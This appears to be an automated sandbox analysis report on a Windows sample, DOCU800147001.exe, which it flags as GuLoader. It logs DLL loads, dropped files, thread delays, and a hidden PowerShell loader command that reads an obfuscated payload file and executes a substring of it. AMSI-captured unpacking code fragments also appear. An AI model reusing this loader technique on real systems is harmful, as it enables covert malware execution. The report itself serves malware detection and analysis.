Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: crtdll.dll	Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: indows\System.Core.pdb@ source: powershell.exe, 00000002.00000002.2546703492.0000000008384000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbssio source: powershell.exe, 00000002.00000002.2546703492.0000000008332000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000002.00000002.2546703492.0000000008384000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.2546703492.0000000008332000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000008.00000002.2613773694.0000000005D6B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2547628074.000000000B13B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Vitiferous $Orinasal $Codi), (Microvillus @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Indbringendes = [AppDomain]::CurrentDomain.GetAssemblies()$global
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Countervailed)), $malakiass).DefineDynamicModule($Unflippantly, $false).DefineType($Underhammer, $Erhvervsregistrerede, [System.Multic

Suspicious powershell command line found

Source: C:\Users\user\Desktop\DOCU800147001.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) "
Source: C:\Users\user\Desktop\DOCU800147001.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) "			Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_00405EA5 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EA5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_074C9770 pushad ; iretd	2_2_074C9789
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_074C0FC4 push es; iretd	2_2_074C0FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_074C61B9 push cs; ret	2_2_074C61BF

Source: C:\Users\user\Desktop\DOCU800147001.exe	File created: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6538			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3167			Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5012

Thread sleep time: -7378697629483816s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe	Code function: 0_2_00405E7E FindFirstFileA,FindClose,	0_2_00405E7E
Source: C:\Users\user\Desktop\DOCU800147001.exe	Code function: 0_2_0040543A GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040543A
